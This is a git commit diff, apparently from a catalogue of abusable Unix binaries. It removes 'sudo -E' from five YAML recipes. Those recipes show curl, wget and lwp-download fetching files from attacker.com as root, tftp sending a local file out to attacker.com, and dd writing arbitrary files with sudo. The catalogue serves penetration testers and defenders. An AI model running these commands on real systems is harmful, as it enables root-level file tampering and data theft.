Remove useless instances of sudo -E

This commit is contained in:
Andrea Cardaci 2020-06-10 22:53:45 +02:00
parent fbd887e91a
commit 9cd6849b8e
5 changed files with 5 additions and 5 deletions

View File

@ -28,5 +28,5 @@ functions:
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
sudo -E curl $URL -o $LFILE
sudo curl $URL -o $LFILE
---

View File

@ -15,5 +15,5 @@ functions:
sudo:
- code: |
LFILE=file_to_write
echo "data" | sudo -E dd of=$LFILE
echo "data" | sudo dd of=$LFILE
---

View File

@ -15,5 +15,5 @@ functions:
- code: |
URL=http://attacker.com/file_to_get
export LFILE=file_to_save
sudo -E lwp-download $URL $LFILE
sudo lwp-download $URL $LFILE
---

View File

@ -22,6 +22,6 @@ functions:
- description: Send local file to a TFTP server.
code: |
RHOST=attacker.com
sudo -E tftp $RHOST
sudo tftp $RHOST
put file_to_send
---

View File

@ -23,5 +23,5 @@ functions:
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
sudo -E wget $URL -O $LFILE
sudo wget $URL -O $LFILE
---